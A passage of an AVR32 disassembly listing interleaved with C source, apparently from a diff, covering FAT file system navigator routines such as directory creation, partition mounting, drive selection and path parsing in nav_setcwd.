FS_ERR_NO_FIND; +800064f8: 30 99 mov r9,9 +800064fa: 48 d8 lddpc r8,8000652c +800064fc: b0 89 st.b r8[0x0],r9 +800064fe: e3 cf 80 c0 ldm sp++,r6-r7,pc,r12=0 + return false; // NO FILE FOUND + } + // Go to the first file or directory + if ( !nav_filelist_first( b_type )) +80006502: 0c 9c mov r12,r6 +80006504: f0 1f 00 0b mcall 80006530 +80006508: c0 d0 breq 80006522 + return false; + // If there are more one file or directory, then go to at the last of list + if( 1 == u16_nb ) +8000650a: 30 18 mov r8,1 +8000650c: f0 07 19 00 cp.h r7,r8 +80006510: c0 31 brne 80006516 +80006512: e3 cf 90 c0 ldm sp++,r6-r7,pc,r12=1 + return true; + u16_nb -= 2; + return nav_filelist_set( u16_nb , FS_FIND_NEXT ); +80006516: 0e 9c mov r12,r7 +80006518: 20 2c sub r12,2 +8000651a: 30 1b mov r11,1 +8000651c: 5c 7c castu.h r12 +8000651e: f0 1f 00 06 mcall 80006534 +} +80006522: e3 cd 80 c0 ldm sp++,r6-r7,pc +80006526: 00 00 add r0,r0 +80006528: 80 00 ld.sh r0,r0[0x0] +8000652a: 64 74 ld.w r4,r2[0x1c] +8000652c: 00 00 add r0,r0 +8000652e: 06 d4 st.w --r3,r4 +80006530: 80 00 ld.sh r0,r0[0x0] +80006532: 64 34 ld.w r4,r2[0xc] +80006534: 80 00 ld.sh r0,r0[0x0] +80006536: 61 30 ld.w r0,r0[0x4c] + +80006538 : +//! +//! @return false in case of error, see global value "fs_g_status" for more detail +//! @return true otherwise +//! +Bool nav_dir_make( const FS_STRING sz_name ) +{ +80006538: eb cd 40 80 pushm r7,lr +8000653c: 18 97 mov r7,r12 + if ( !fat_check_mount_noopen()) +8000653e: f0 1f 00 18 mcall 8000659c +80006542: c2 b0 breq 80006598 + return false; + + // Create an entry file + if ( !nav_file_create( sz_name )) +80006544: 0e 9c mov r12,r7 +80006546: f0 1f 00 17 mcall 800065a0 +8000654a: c2 70 breq 80006598 + return false; + + // Allocate one cluster for the new directory + MSB0(fs_g_seg.u32_addr)=0xFF; // It is a new cluster list +8000654c: 49 68 lddpc r8,800065a4 +8000654e: 3f f9 mov r9,-1 +80006550: b0 89 st.b r8[0x0],r9 + fs_g_seg.u32_size_or_pos = 1; // Only one sector (= one cluster) +80006552: 30 19 mov r9,1 +80006554: 91 19 st.w r8[0x4],r9 + if ( !fat_allocfreespace()) +80006556: f0 1f 00 15 mcall 800065a8 +8000655a: c0 71 brne 80006568 + { + fat_delete_file( false ); +8000655c: f0 1f 00 14 mcall 800065ac + fat_cache_flush(); +80006560: f0 1f 00 14 mcall 800065b0 +80006564: e3 cf 80 80 ldm sp++,r7,pc,r12=0 + return false; + } + + // Save information about the new directory + fs_g_nav_entry.u32_cluster = fs_g_seg.u32_addr; // First cluster of the directory returned by alloc_free_space +80006568: 49 38 lddpc r8,800065b4 +8000656a: 48 f9 lddpc r9,800065a4 +8000656c: 72 09 ld.w r9,r9[0x0] +8000656e: 91 19 st.w r8[0x4],r9 + fs_g_nav_entry.u32_size = 0; // The directory size is null +80006570: 30 09 mov r9,0 +80006572: 91 29 st.w r8[0x8],r9 + fs_g_nav_entry.u8_attr = FS_ATTR_DIRECTORY; // Directory attribut +80006574: 31 09 mov r9,16 +80006576: b0 a9 st.b r8[0x2],r9 + + // Initialize the values in the new directory + if ( !fat_initialize_dir()) +80006578: f0 1f 00 10 mcall 800065b8 +8000657c: c0 e0 breq 80006598 + return false; + + // Write directory information in her entry file + if ( !fat_read_dir()) +8000657e: f0 1f 00 10 mcall 800065bc +80006582: c0 b0 breq 80006598 + return false; + fat_write_entry_file(); +80006584: f0 1f 00 0f mcall 800065c0 + if( !fat_cache_flush()) +80006588: f0 1f 00 0a mcall 800065b0 +8000658c: c0 60 breq 80006598 + return false; + + // Go to position of new directory (it is the last directory) + return nav_filelist_last( FS_DIR ); +8000658e: 30 0c mov r12,0 +80006590: f0 1f 00 0d mcall 800065c4 +80006594: e3 cd 80 80 ldm sp++,r7,pc +80006598: e3 cf 80 80 ldm sp++,r7,pc,r12=0 +8000659c: 80 00 ld.sh r0,r0[0x0] +8000659e: 51 48 stdsp sp[0x50],r8 +800065a0: 80 00 ld.sh r0,r0[0x0] +800065a2: 62 e8 ld.w r8,r1[0x38] +800065a4: 00 00 add r0,r0 +800065a6: 07 2c ld.uh r12,r3++ +800065a8: 80 00 ld.sh r0,r0[0x0] +800065aa: 56 08 stdsp sp[0x180],r8 +800065ac: 80 00 ld.sh r0,r0[0x0] +800065ae: 54 14 stdsp sp[0x104],r4 +800065b0: 80 00 ld.sh r0,r0[0x0] +800065b2: 47 c0 lddsp r0,sp[0x1f0] +800065b4: 00 00 add r0,r0 +800065b6: 04 44 or r4,r2 +800065b8: 80 00 ld.sh r0,r0[0x0] +800065ba: 52 ac stdsp sp[0xa8],r12 +800065bc: 80 00 ld.sh r0,r0[0x0] +800065be: 4e 5c lddpc r12,80006750 +800065c0: 80 00 ld.sh r0,r0[0x0] +800065c2: 46 1c lddsp r12,sp[0x184] +800065c4: 80 00 ld.sh r0,r0[0x0] +800065c6: 64 e8 ld.w r8,r2[0x38] + +800065c8 : +//! then the mount routine selects the first partition supported by file system.
+//! After mount, the file list contains files and directories of ROOT directory +//! @endverbatim +//! +Bool nav_partition_mount( void ) +{ +800065c8: d4 01 pushm lr + if ( !fat_check_noopen() ) +800065ca: f0 1f 00 0a mcall 800065f0 +800065ce: c0 f0 breq 800065ec + return false; + + if( FS_TYPE_FAT_UNM != fs_g_nav_fast.u8_type_fat) +800065d0: 48 98 lddpc r8,800065f4 +800065d2: 11 89 ld.ub r9,r8[0x0] +800065d4: 30 08 mov r8,0 +800065d6: f0 09 18 00 cp.b r9,r8 +800065da: c0 70 breq 800065e8 + { + // Already mounted + // Go to root directory + fs_g_nav.u32_cluster_sel_dir = 0; +800065dc: 30 09 mov r9,0 +800065de: 48 78 lddpc r8,800065f8 +800065e0: 91 89 st.w r8[0x20],r9 + // No file is selected by default + fat_clear_entry_info_and_ptr(); +800065e2: f0 1f 00 07 mcall 800065fc +800065e6: da 0a popm pc,r12=1 + return true; + } + + return fat_mount(); +800065e8: f0 1f 00 06 mcall 80006600 +} +800065ec: d8 02 popm pc +800065ee: 00 00 add r0,r0 +800065f0: 80 00 ld.sh r0,r0[0x0] +800065f2: 50 74 stdsp sp[0x1c],r4 +800065f4: 00 00 add r0,r0 +800065f6: 06 d0 st.w --r3,r0 +800065f8: 00 00 add r0,r0 +800065fa: 06 84 andn r4,r3 +800065fc: 80 00 ld.sh r0,r0[0x0] +800065fe: 42 00 lddsp r0,sp[0x80] +80006600: 80 00 ld.sh r0,r0[0x0] +80006602: 5b b8 cp.w r8,-5 + +80006604 : +//! +//! @return false in case of error, see global value "fs_g_status" for more detail +//! @return true otherwise +//! +Bool nav_dir_root( void ) +{ +80006604: d4 01 pushm lr + return nav_partition_mount(); +80006606: f0 1f 00 02 mcall 8000660c +} +8000660a: d8 02 popm pc +8000660c: 80 00 ld.sh r0,r0[0x0] +8000660e: 65 c8 ld.w r8,r2[0x70] + +80006610 : +//! +//! @return false in case of error, see global value "fs_g_status" for more detail +//! @return true otherwise +//! +Bool nav_drive_set( uint8_t u8_number ) +{ +80006610: eb cd 40 80 pushm r7,lr +80006614: 18 97 mov r7,r12 + if ( !fat_check_noopen() ) +80006616: f0 1f 00 0f mcall 80006650 +8000661a: c1 90 breq 8000664c + return false; + + if (u8_number >= get_nb_lun() ) +8000661c: f0 1f 00 0e mcall 80006654 +80006620: ee 0c 18 00 cp.b r12,r7 +80006624: e0 8b 00 07 brhi 80006632 + { + fs_g_status = FS_ERR_END_OF_DRIVE; // The drive number is bad +80006628: 30 69 mov r9,6 +8000662a: 48 c8 lddpc r8,80006658 +8000662c: b0 89 st.b r8[0x0],r9 +8000662e: e3 cf 80 80 ldm sp++,r7,pc,r12=0 + return false; + } + + if ( fs_g_nav.u8_lun == u8_number) +80006632: 48 b8 lddpc r8,8000665c +80006634: 11 88 ld.ub r8,r8[0x0] +80006636: ee 08 18 00 cp.b r8,r7 +8000663a: c0 31 brne 80006640 +8000663c: e3 cf 90 80 ldm sp++,r7,pc,r12=1 + return true; // It is the same drive number + + // Go to the device + fs_g_nav.u8_lun = u8_number; +80006640: 48 78 lddpc r8,8000665c +80006642: b0 87 st.b r8[0x0],r7 + fs_g_nav_fast.u8_type_fat = FS_TYPE_FAT_UNM; +80006644: 30 09 mov r9,0 +80006646: 48 78 lddpc r8,80006660 +80006648: b0 89 st.b r8[0x0],r9 +8000664a: 30 1c mov r12,1 +#if (FS_MULTI_PARTITION == ENABLED) + fs_g_nav.u8_partition=0; // by default select the first partition +#endif + return true; +} +8000664c: e3 cd 80 80 ldm sp++,r7,pc +80006650: 80 00 ld.sh r0,r0[0x0] +80006652: 50 74 stdsp sp[0x1c],r4 +80006654: 80 00 ld.sh r0,r0[0x0] +80006656: 6a b8 ld.w r8,r5[0x2c] +80006658: 00 00 add r0,r0 +8000665a: 06 d4 st.w --r3,r4 +8000665c: 00 00 add r0,r0 +8000665e: 06 84 andn r4,r3 +80006660: 00 00 add r0,r0 +80006662: 06 d0 st.w --r3,r0 + +80006664 : +//! This routine allow to reinit a navigator quickly via a file index (disk, partition, dir, file/dir selected ) +//! To get a file index, you shall used the routine nav_getindex(). +//! @endverbatim +//! +Bool nav_gotoindex( const Fs_index _MEM_TYPE_SLOW_ *index ) +{ +80006664: d4 21 pushm r4-r7,lr +80006666: 18 97 mov r7,r12 + // Select the drive and partition corresponding at file index + if( !nav_drive_set( index->u8_lun )) +80006668: 19 8c ld.ub r12,r12[0x0] +8000666a: f0 1f 00 10 mcall 800066a8 +8000666e: c1 c0 breq 800066a6 + return false; +#if (FS_MULTI_PARTITION == ENABLED) + if( !nav_partition_set(index->u8_partition)) + return false; +#endif + if( !nav_partition_mount()) +80006670: f0 1f 00 0f mcall 800066ac +80006674: c1 90 breq 800066a6 + return false; + + // Select the directory corresponding at file index + fs_g_nav.u32_cluster_sel_dir = index->u32_cluster_sel_dir; +80006676: 6e 19 ld.w r9,r7[0x4] +80006678: 48 e8 lddpc r8,800066b0 +8000667a: 91 89 st.w r8[0x20],r9 + + // Search the file position corresponding at file index + if ( !nav_filelist_reset()) +8000667c: f0 1f 00 0e mcall 800066b4 +80006680: c0 a1 brne 80006694 +80006682: c1 28 rjmp 800066a6 + return false; + while( fs_g_nav_fast.u16_entry_pos_sel_file != index->u16_entry_pos_sel_file ) + { + if( !nav_filelist_set( 0 , FS_FIND_NEXT ) ) +80006684: 0a 9b mov r11,r5 +80006686: 08 9c mov r12,r4 +80006688: f0 1f 00 0c mcall 800066b8 +8000668c: c0 71 brne 8000669a + { + nav_filelist_reset(); +8000668e: f0 1f 00 0a mcall 800066b4 +80006692: d8 2a popm r4-r7,pc,r12=0 + fs_g_nav.u32_cluster_sel_dir = index->u32_cluster_sel_dir; + + // Search the file position corresponding at file index + if ( !nav_filelist_reset()) + return false; + while( fs_g_nav_fast.u16_entry_pos_sel_file != index->u16_entry_pos_sel_file ) +80006694: 48 a6 lddpc r6,800066bc + { + if( !nav_filelist_set( 0 , FS_FIND_NEXT ) ) +80006696: 30 15 mov r5,1 +80006698: 30 04 mov r4,0 + fs_g_nav.u32_cluster_sel_dir = index->u32_cluster_sel_dir; + + // Search the file position corresponding at file index + if ( !nav_filelist_reset()) + return false; + while( fs_g_nav_fast.u16_entry_pos_sel_file != index->u16_entry_pos_sel_file ) +8000669a: 8c 19 ld.sh r9,r6[0x2] +8000669c: 8e 48 ld.sh r8,r7[0x8] +8000669e: f0 09 19 00 cp.h r9,r8 +800066a2: cf 11 brne 80006684 +800066a4: da 2a popm r4-r7,pc,r12=1 +800066a6: d8 2a popm r4-r7,pc,r12=0 +800066a8: 80 00 ld.sh r0,r0[0x0] +800066aa: 66 10 ld.w r0,r3[0x4] +800066ac: 80 00 ld.sh r0,r0[0x0] +800066ae: 65 c8 ld.w r8,r2[0x70] +800066b0: 00 00 add r0,r0 +800066b2: 06 84 andn r4,r3 +800066b4: 80 00 ld.sh r0,r0[0x0] +800066b6: 62 d0 ld.w r0,r1[0x34] +800066b8: 80 00 ld.sh r0,r0[0x0] +800066ba: 61 30 ld.w r0,r0[0x4c] +800066bc: 00 00 add r0,r0 +800066be: 06 d0 st.w --r3,r0 + +800066c0 : +//! With syntact "./dir_parent/directory_name" the file list corresponding at "dir_parent" and "directory_name" is selected. +//! With syntact "./dir_parent/directory_name/" the file list corresponding at "directory_name" and no file is selected. +//! @endverbatim +//! +Bool nav_setcwd( FS_STRING sz_path , Bool b_match_case , Bool b_create ) +{ +800066c0: d4 31 pushm r0-r7,lr +800066c2: 20 6d sub sp,24 +800066c4: 18 97 mov r7,r12 +800066c6: 16 91 mov r1,r11 +800066c8: 14 90 mov r0,r10 + (FSFEATURE_WRITE_COMPLET == (FS_LEVEL_FEATURES & FSFEATURE_WRITE_COMPLET)) + FS_STRING sz_save_path = 0; +#endif + Bool b_create_name = false; + + if ( !fat_check_noopen()) +800066ca: f0 1f 00 62 mcall 80006850 +800066ce: e0 80 00 be breq 8000684a + return false; + + index = nav_getindex(); // Save current position +800066d2: 1a 96 mov r6,sp +800066d4: 1a 9c mov r12,sp +800066d6: f0 1f 00 60 mcall 80006854 +800066da: fa c8 ff f4 sub r8,sp,-12 +800066de: fa ea 00 00 ld.d r10,sp[0] +800066e2: f0 eb 00 00 st.d r8[0],r10 +800066e6: 40 29 lddsp r9,sp[0x8] +800066e8: 91 29 st.w r8[0x8],r9 + + // Check syntact "\path..." + if( (( Is_unicode) && (('\\' == ((FS_STR_UNICODE)sz_path )[0]) || ('/' == ((FS_STR_UNICODE)sz_path )[0])) ) + || ((!Is_unicode) && (('\\' == sz_path [0]) || ('/' == sz_path [0])) ) ) +800066ea: 0f 88 ld.ub r8,r7[0x0] + return false; + + index = nav_getindex(); // Save current position + + // Check syntact "\path..." + if( (( Is_unicode) && (('\\' == ((FS_STR_UNICODE)sz_path )[0]) || ('/' == ((FS_STR_UNICODE)sz_path )[0])) ) +800066ec: 35 c9 mov r9,92 +800066ee: f2 08 18 00 cp.b r8,r9 +800066f2: 5f 0a sreq r10 +800066f4: 32 f9 mov r9,47 +800066f6: f2 08 18 00 cp.b r8,r9 +800066fa: 5f 09 sreq r9 +800066fc: f5 e9 10 09 or r9,r10,r9 +80006700: c0 70 breq 8000670e + || ((!Is_unicode) && (('\\' == sz_path [0]) || ('/' == sz_path [0])) ) ) + { + // Go to the root of current drive + if( !nav_dir_root()) +80006702: f0 1f 00 56 mcall 80006858 +80006706: e0 80 00 9d breq 80006840 + goto nav_setcwd_fail; + sz_path += (Is_unicode? 2 : 1 ); +8000670a: 2f f7 sub r7,-1 +8000670c: c5 f8 rjmp 800067ca + }else + + // Check syntact "x:\path..." + if( (( Is_unicode) && (( ':' == ((FS_STR_UNICODE)sz_path )[1] ) && (('\\' == ((FS_STR_UNICODE)sz_path )[2] ) || ('/' == ((FS_STR_UNICODE)sz_path )[2]))) ) + || ((!Is_unicode) && (( ':' == sz_path [1] ) && (('\\' == sz_path [2] ) || ('/' == sz_path [2]))) ) ) +8000670e: 0f 99 ld.ub r9,r7[0x1] + goto nav_setcwd_fail; + sz_path += (Is_unicode? 2 : 1 ); + }else + + // Check syntact "x:\path..." + if( (( Is_unicode) && (( ':' == ((FS_STR_UNICODE)sz_path )[1] ) && (('\\' == ((FS_STR_UNICODE)sz_path )[2] ) || ('/' == ((FS_STR_UNICODE)sz_path )[2]))) ) +80006710: 33 aa mov r10,58 +80006712: f4 09 18 00 cp.b r9,r10 +80006716: c2 21 brne 8000675a + || ((!Is_unicode) && (( ':' == sz_path [1] ) && (('\\' == sz_path [2] ) || ('/' == sz_path [2]))) ) ) +80006718: 0f aa ld.ub r10,r7[0x2] + goto nav_setcwd_fail; + sz_path += (Is_unicode? 2 : 1 ); + }else + + // Check syntact "x:\path..." + if( (( Is_unicode) && (( ':' == ((FS_STR_UNICODE)sz_path )[1] ) && (('\\' == ((FS_STR_UNICODE)sz_path )[2] ) || ('/' == ((FS_STR_UNICODE)sz_path )[2]))) ) +8000671a: 35 cb mov r11,92 +8000671c: f6 0a 18 00 cp.b r10,r11 +80006720: 5f 0b sreq r11 +80006722: 32 fc mov r12,47 +80006724: f8 0a 18 00 cp.b r10,r12 +80006728: 5f 0a sreq r10 +8000672a: f7 ea 10 0a or r10,r11,r10 +8000672e: c1 60 breq 8000675a + if( Is_unicode ) + { + if( !nav_drive_set( toupper(((FS_STR_UNICODE)sz_path )[0])-'A' ) ) + goto nav_setcwd_fail; + }else{ + if( !nav_drive_set( toupper(sz_path [0])-'A' ) ) +80006730: 4c b9 lddpc r9,8000685c +80006732: 72 09 ld.w r9,r9[0x0] +80006734: f2 08 07 09 ld.ub r9,r9[r8] +80006738: f0 ca 00 20 sub r10,r8,32 +8000673c: e2 19 00 02 andl r9,0x2,COH +80006740: f4 08 17 10 movne r8,r10 +80006744: 24 18 sub r8,65 +80006746: f9 d8 c0 08 bfextu r12,r8,0x0,0x8 +8000674a: f0 1f 00 46 mcall 80006860 +8000674e: c7 90 breq 80006840 + goto nav_setcwd_fail; + } + if( !nav_partition_mount()) +80006750: f0 1f 00 45 mcall 80006864 +80006754: c7 60 breq 80006840 + goto nav_setcwd_fail; + sz_path += 3*(Is_unicode? 2 : 1 ); +80006756: 2f d7 sub r7,-3 + goto nav_setcwd_fail; + sz_path += (Is_unicode? 2 : 1 ); + }else + + // Check syntact "x:\path..." + if( (( Is_unicode) && (( ':' == ((FS_STR_UNICODE)sz_path )[1] ) && (('\\' == ((FS_STR_UNICODE)sz_path )[2] ) || ('/' == ((FS_STR_UNICODE)sz_path )[2]))) ) +80006758: c3 98 rjmp 800067ca + goto nav_setcwd_fail; + sz_path += 3*(Is_unicode? 2 : 1 ); + }else + + // Check syntact ".\path..." + if( (( Is_unicode) && (( '.' == ((FS_STR_UNICODE)sz_path )[0] ) && (('\\' == ((FS_STR_UNICODE)sz_path )[1] ) || ('/' == ((FS_STR_UNICODE)sz_path )[1] ))) ) +8000675a: 32 ea mov r10,46 +8000675c: f4 08 18 00 cp.b r8,r10 +80006760: c1 91 brne 80006792 +80006762: 35 c8 mov r8,92 +80006764: f0 09 18 00 cp.b r9,r8 +80006768: 5f 0a sreq r10 +8000676a: 32 f8 mov r8,47 +8000676c: f0 09 18 00 cp.b r9,r8 +80006770: 5f 08 sreq r8 +80006772: f5 e8 10 08 or r8,r10,r8 +80006776: c0 e0 breq 80006792 + || ((!Is_unicode) && (( '.' == sz_path [0] ) && (('\\' == sz_path [1] ) || ('/' == sz_path [1] ))) ) ) + { + // Search in current directory + sz_path += 2*(Is_unicode? 2 : 1 ); +80006778: 2f e7 sub r7,-2 + goto nav_setcwd_fail; + sz_path += 3*(Is_unicode? 2 : 1 ); + }else + + // Check syntact ".\path..." + if( (( Is_unicode) && (( '.' == ((FS_STR_UNICODE)sz_path )[0] ) && (('\\' == ((FS_STR_UNICODE)sz_path )[1] ) || ('/' == ((FS_STR_UNICODE)sz_path )[1] ))) ) +8000677a: c2 88 rjmp 800067ca + while(( '.' == sz_path [0] ) + && ( '.' == sz_path [1] ) + && (('\\' == sz_path [2]) || ('/' == sz_path [2]) || (0 == sz_path [2])) ) + { + // Go to parent directory + if( !nav_dir_gotoparent() ) +8000677c: f0 1f 00 3b mcall 80006868 +80006780: c6 00 breq 80006840 + goto nav_setcwd_fail; + sz_path += 2; // jump ".." + if( 0 != sz_path [0]) +80006782: 0d 88 ld.ub r8,r6[0x0] + sz_path +=1; // jump "/" +80006784: ec c7 ff ff sub r7,r6,-1 + { + // Go to parent directory + if( !nav_dir_gotoparent() ) + goto nav_setcwd_fail; + sz_path += 2; // jump ".." + if( 0 != sz_path [0]) +80006788: ea 08 18 00 cp.b r8,r5 +8000678c: ec 07 17 00 moveq r7,r6 +80006790: c0 58 rjmp 8000679a + sz_path += (2*2); // jump ".." + if( 0 != ((FS_STR_UNICODE)sz_path )[0]) + sz_path += (2*1); // jump "/" + } + }else{ + while(( '.' == sz_path [0] ) +80006792: 32 e4 mov r4,46 +80006794: 35 c3 mov r3,92 +80006796: 32 f2 mov r2,47 +80006798: 30 05 mov r5,0 +8000679a: 0f 88 ld.ub r8,r7[0x0] +8000679c: e8 08 18 00 cp.b r8,r4 +800067a0: c1 51 brne 800067ca + && ( '.' == sz_path [1] ) +800067a2: 0f 98 ld.ub r8,r7[0x1] +800067a4: e8 08 18 00 cp.b r8,r4 +800067a8: c1 11 brne 800067ca + && (('\\' == sz_path [2]) || ('/' == sz_path [2]) || (0 == sz_path [2])) ) +800067aa: ee c6 ff fe sub r6,r7,-2 +800067ae: 0d 88 ld.ub r8,r6[0x0] + sz_path += (2*2); // jump ".." + if( 0 != ((FS_STR_UNICODE)sz_path )[0]) + sz_path += (2*1); // jump "/" + } + }else{ + while(( '.' == sz_path [0] ) +800067b0: e6 08 18 00 cp.b r8,r3 +800067b4: 5f 0a sreq r10 +800067b6: e4 08 18 00 cp.b r8,r2 +800067ba: 5f 09 sreq r9 +800067bc: f5 e9 10 09 or r9,r10,r9 +800067c0: ea 09 18 00 cp.b r9,r5 +800067c4: cd c1 brne 8000677c +800067c6: 58 08 cp.w r8,0 +800067c8: cd a0 breq 8000677c + } + } + } + + // Reset list to start the search at the beginning + if( !nav_filelist_reset()) +800067ca: f0 1f 00 29 mcall 8000686c +800067ce: c3 90 breq 80006840 +800067d0: 30 03 mov r3,0 +800067d2: 06 92 mov r2,r3 + goto nav_setcwd_fail; + + while( 1 ) + { + if( (( Is_unicode) && ( 0 == ((FS_STR_UNICODE)sz_path )[0] ) ) + || ((!Is_unicode) && ( 0 == sz_path [0] ) ) ) +800067d4: 30 06 mov r6,0 +#endif + } + break; // The file include in path is found or created, then end of set_cwd + } + + if( (( Is_unicode) && (('\\' == ((FS_STR_UNICODE)sz_path )[0] ) || ('/' == ((FS_STR_UNICODE)sz_path )[0] )) ) +800067d6: 35 c5 mov r5,92 +800067d8: 32 f4 mov r4,47 + goto nav_setcwd_fail; + + while( 1 ) + { + if( (( Is_unicode) && ( 0 == ((FS_STR_UNICODE)sz_path )[0] ) ) + || ((!Is_unicode) && ( 0 == sz_path [0] ) ) ) +800067da: 0f 88 ld.ub r8,r7[0x0] +800067dc: ec 08 18 00 cp.b r8,r6 +800067e0: c0 31 brne 800067e6 +800067e2: 30 1c mov r12,1 +800067e4: c3 38 rjmp 8000684a + { + return true; // path (without file) is found or create + } + if( !nav_filelist_findname( sz_path , b_match_case )) +800067e6: 02 9b mov r11,r1 +800067e8: 0e 9c mov r12,r7 +800067ea: f0 1f 00 22 mcall 80006870 +800067ee: c0 51 brne 800067f8 + { + // The file or directory is not found + if( !b_create ) +800067f0: 58 00 cp.w r0,0 +800067f2: c2 70 breq 80006840 +800067f4: 0e 92 mov r2,r7 +800067f6: 30 13 mov r3,1 +#endif + } + + while( 1 ) + { + sz_path += (Is_unicode? 2 : 1 ); +800067f8: 2f f7 sub r7,-1 + if( (( Is_unicode) && ( 0 == ((FS_STR_UNICODE)sz_path )[0] ) ) + || ((!Is_unicode) && ( 0 == sz_path [0] ) ) ) +800067fa: 0f 88 ld.ub r8,r7[0x0] + } + + while( 1 ) + { + sz_path += (Is_unicode? 2 : 1 ); + if( (( Is_unicode) && ( 0 == ((FS_STR_UNICODE)sz_path )[0] ) ) +800067fc: 58 08 cp.w r8,0 +800067fe: c0 81 brne 8000680e + || ((!Is_unicode) && ( 0 == sz_path [0] ) ) ) + { + // Is it the last name of path and it is a file + if( b_create_name ) +80006800: 58 03 cp.w r3,0 +80006802: ce c0 breq 800067da + { +#if (FSFEATURE_WRITE == (FS_LEVEL_FEATURES & FSFEATURE_WRITE)) + // The file must be created + if( !nav_file_create( sz_save_path ) ) +80006804: 04 9c mov r12,r2 +80006806: f0 1f 00 1c mcall 80006874 +8000680a: ce 81 brne 800067da +8000680c: c1 a8 rjmp 80006840 +#endif + } + break; // The file include in path is found or created, then end of set_cwd + } + + if( (( Is_unicode) && (('\\' == ((FS_STR_UNICODE)sz_path )[0] ) || ('/' == ((FS_STR_UNICODE)sz_path )[0] )) ) +8000680e: ea 08 18 00 cp.b r8,r5 +80006812: 5f 09 sreq r9 +80006814: e8 08 18 00 cp.b r8,r4 +80006818: 5f 08 sreq r8 +8000681a: f3 e8 10 08 or r8,r9,r8 +8000681e: ec 08 18 00 cp.b r8,r6 +80006822: ce b0 breq 800067f8 + || ((!Is_unicode) && (('\\' == sz_path [0] ) || ('/' == sz_path [0] )) ) ) + { + // Is it a folder name + if( b_create_name ) +80006824: 58 03 cp.w r3,0 +80006826: c0 50 breq 80006830 + { +#if (FSFEATURE_WRITE_COMPLET == (FS_LEVEL_FEATURES & FSFEATURE_WRITE_COMPLET)) + // The folder doesn't exist and it must be created + if( !nav_dir_make( sz_save_path )) +80006828: 04 9c mov r12,r2 +8000682a: f0 1f 00 14 mcall 80006878 +8000682e: c0 90 breq 80006840 + goto nav_setcwd_fail; +#else + goto nav_setcwd_fail; +#endif + } + if( !fat_entry_is_dir() ) +80006830: f0 1f 00 13 mcall 8000687c +80006834: c0 60 breq 80006840 + goto nav_setcwd_fail; + // jump '\' + sz_path += (Is_unicode? 2 : 1 ); + if( !nav_dir_cd()) +80006836: f0 1f 00 13 mcall 80006880 +8000683a: c0 30 breq 80006840 +#endif + } + if( !fat_entry_is_dir() ) + goto nav_setcwd_fail; + // jump '\' + sz_path += (Is_unicode? 2 : 1 ); +8000683c: 2f f7 sub r7,-1 +8000683e: cc eb rjmp 800067da + } + + } + +nav_setcwd_fail: + nav_gotoindex( &index ); // Restore the position +80006840: fa cc ff f4 sub r12,sp,-12 +80006844: f0 1f 00 10 mcall 80006884 +80006848: 30 0c mov r12,0 + return false; +} +8000684a: 2f ad sub sp,-24 +8000684c: d8 32 popm r0-r7,pc +8000684e: 00 00 add r0,r0 +80006850: 80 00 ld.sh r0,r0[0x0] +80006852: 50 74 stdsp sp[0x1c],r4 +80006854: 80 00 ld.sh r0,r0[0x0] +80006856: 60 20 ld.w r0,r0[0x8] +80006858: 80 00 ld.sh r0,r0[0x0] +8000685a: 66 04 ld.w r4,r3[0x0] +8000685c: 00 00 add r0,r0 +8000685e: 00 e8 st.h --r0,r8 +80006860: 80 00 ld.sh r0,r0[0x0] +80006862: 66 10 ld.w r0,r3[0x4] +80006864: 80 00 ld.sh r0,r0[0x0] +80006866: 65 c8 ld.w r8,r2[0x70] +80006868: 80 00 ld.sh r0,r0[0x0] +8000686a: 63 54 ld.w r4,r1[0x54] +8000686c: 80 00 ld.sh r0,r0[0x0] +8000686e: 62 d0 ld.w r0,r1[0x34] +80006870: 80 00 ld.sh r0,r0[0x0] +80006872: 62 a0 ld.w r0,r1[0x28] +80006874: 80 00 ld.sh r0,r0[0x0] +80006876: 62 e8 ld.w r8,r1[0x38] +80006878: 80 00 ld.sh r0,r0[0x0] +8000687a: 65 38 ld.w r8,r2[0x4c] +8000687c: 80 00 ld.sh r0,r0[0x0] +8000687e: 41 e8 lddsp r8,sp[0x78] +80006880: 80 00 ld.sh r0,r0[0x0] +80006882: 63 f4 ld.w r4,r1[0x7c] +80006884: 80 00 ld.sh r0,r0[0x0] +80006886: 66 64 ld.w r4,r3[0x18] + +80006888 : +//! +//! @return false if ID navigator don't exist +//! @return true otherwise +//! +Bool nav_select( uint8_t u8_idnav ) +{ +80006888: eb cd 40 80 pushm r7,lr +8000688c: 18 97 mov r7,r12 + if( FS_NB_NAVIGATOR <= u8_idnav ) +8000688e: 30 18 mov r8,1 +80006890: f0 0c 18 00 cp.b r12,r8 +80006894: e0 88 00 07 brls 800068a2 + { + fs_g_status = FS_ERR_BAD_NAV; // The navigator doesn't exist +80006898: 32 79 mov r9,39 +8000689a: 48 b8 lddpc r8,800068c4 +8000689c: b0 89 st.b r8[0x0],r9 +8000689e: e3 cf 80 80 ldm sp++,r7,pc,r12=0 + return false; + } +#if (FS_NB_NAVIGATOR > 1) + if( fs_g_u8_nav_selected != u8_idnav ) +800068a2: 48 a8 lddpc r8,800068c8 +800068a4: 11 8c ld.ub r12,r8[0x0] +800068a6: ee 0c 18 00 cp.b r12,r7 +800068aa: c0 31 brne 800068b0 +800068ac: e3 cf 90 80 ldm sp++,r7,pc,r12=1 + { + fat_invert_nav( fs_g_u8_nav_selected ); // Deselect previous navigator = Select default navigator +800068b0: f0 1f 00 07 mcall 800068cc + fat_invert_nav( u8_idnav ); // Select new navigator +800068b4: 0e 9c mov r12,r7 +800068b6: f0 1f 00 06 mcall 800068cc + fs_g_u8_nav_selected = u8_idnav; +800068ba: 48 48 lddpc r8,800068c8 +800068bc: b0 87 st.b r8[0x0],r7 +800068be: e3 cf 90 80 ldm sp++,r7,pc,r12=1 +800068c2: 00 00 add r0,r0 +800068c4: 00 00 add r0,r0 +800068c6: 06 d4 st.w --r3,r4 +800068c8: 00 00 add r0,r0 +800068ca: 07 4c ld.w r12,--r3 +800068cc: 80 00 ld.sh r0,r0[0x0] +800068ce: 46 e4 lddsp r4,sp[0x1b8] + +800068d0 : +//! @verbatim +//! Call this at the program startup or before a new session (e.g. USB Device exit) +//! @endverbatim +//! +void nav_reset( void ) +{ +800068d0: eb cd 40 f8 pushm r3-r7,lr +#if ( (FS_ASCII == ENABLED) && (FS_UNICODE == ENABLED)) + g_b_unicode = true; +#endif + g_b_string_length = false; +800068d4: 30 07 mov r7,0 +800068d6: 49 18 lddpc r8,80006918 +800068d8: b0 87 st.b r8[0x0],r7 + g_b_no_check_disk = false; +800068da: 49 18 lddpc r8,8000691c +800068dc: b0 87 st.b r8[0x0],r7 + + fat_cache_reset(); +800068de: f0 1f 00 11 mcall 